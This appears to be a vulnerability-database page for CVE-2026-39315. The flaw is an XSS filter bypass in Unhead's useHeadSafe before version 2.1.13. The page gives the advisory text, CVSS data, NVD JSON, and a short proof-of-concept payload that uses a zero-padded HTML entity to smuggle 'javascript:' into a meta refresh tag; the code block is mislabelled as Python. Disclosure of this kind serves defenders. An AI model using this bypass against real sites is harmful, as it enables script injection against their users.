Security Vulnerability Report
中文
CVE-2026-39315 CVSS 6.1 MEDIUM

CVE-2026-39315

Published: 2026-04-09 18:17:01
Last Modified: 2026-04-14 20:07:35

Description

Unhead is a document head and template manager. Prior to 2.1.13, useHeadSafe() is the composable that Nuxt's own documentation explicitly recommends for rendering user-supplied content in <head> safely. Internally, the hasDangerousProtocol() function in packages/unhead/src/plugins/safe.ts decodes HTML entities before checking for blocked URI schemes (javascript:, data:, vbscript:). The decoder uses two regular expressions with fixed-width digit caps. The HTML5 specification imposes no limit on leading zeros in numeric character references. When a padded entity exceeds the regex digit cap, the decoder silently skips it. The undecoded string is then passed to startsWith('javascript:'), which does not match. makeTagSafe() writes the raw value directly into SSR HTML output. The browser's HTML parser decodes the padded entity natively and constructs the blocked URI. This vulnerability is fixed in 2.1.13.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:unjs:unhead:*:*:*:*:*:node.js:*:* - VULNERABLE
Unhead < 2.1.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-39315 // The vulnerability bypasses the 'javascript:' protocol check using padded HTML entities. // The regex in unhead (vulnerable versions) has a digit cap. // We use a large number of leading zeros to exceed the cap. // The decoder skips it, so the check fails, but the browser executes it. const maliciousPayload = "javascript&#x00000000003a;alert('CVE-2026-39315_PoC')"; // Conceptual usage in a vulnerable Nuxt/Unhead application: // useHeadSafe({ // meta: [ // { httpEquiv: "refresh", content: maliciousPayload } // ] // }); // Explanation: // 1. Server-side check: 'javascript&#x00000000003a;...' does not start with 'javascript:' (because : is encoded and not decoded by the limited regex). // 2. Browser-side: Parses the entity, sees 'javascript:', and executes the alert. console.log("Payload generated: " + maliciousPayload);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39315", "sourceIdentifier": "[email protected]", "published": "2026-04-09T18:17:01.433", "lastModified": "2026-04-14T20:07:35.310", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unhead is a document head and template manager. Prior to 2.1.13, useHeadSafe() is the composable that Nuxt's own documentation explicitly recommends for rendering user-supplied content in <head> safely. Internally, the hasDangerousProtocol() function in packages/unhead/src/plugins/safe.ts decodes HTML entities before checking for blocked URI schemes (javascript:, data:, vbscript:). The decoder uses two regular expressions with fixed-width digit caps. The HTML5 specification imposes no limit on leading zeros in numeric character references. When a padded entity exceeds the regex digit cap, the decoder silently skips it. The undecoded string is then passed to startsWith('javascript:'), which does not match. makeTagSafe() writes the raw value directly into SSR HTML output. The browser's HTML parser decodes the padded entity natively and constructs the blocked URI. This vulnerability is fixed in 2.1.13."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-184"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:unjs:unhead:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2.1.13", "matchCriteriaId": "2B95120E-BF74-4840-A52D-4D2499E8F958"}]}]}], "references": [{"url": "https://github.com/unjs/unhead/commit/961ea781e091853812ffe17f8cda17105d2d2299", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/unjs/unhead/releases/tag/v2.1.13", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/unjs/unhead/security/advisories/GHSA-95h2-gj7x-gx9w", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/unjs/unhead/security/advisories/GHSA-95h2-gj7x-gx9w", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}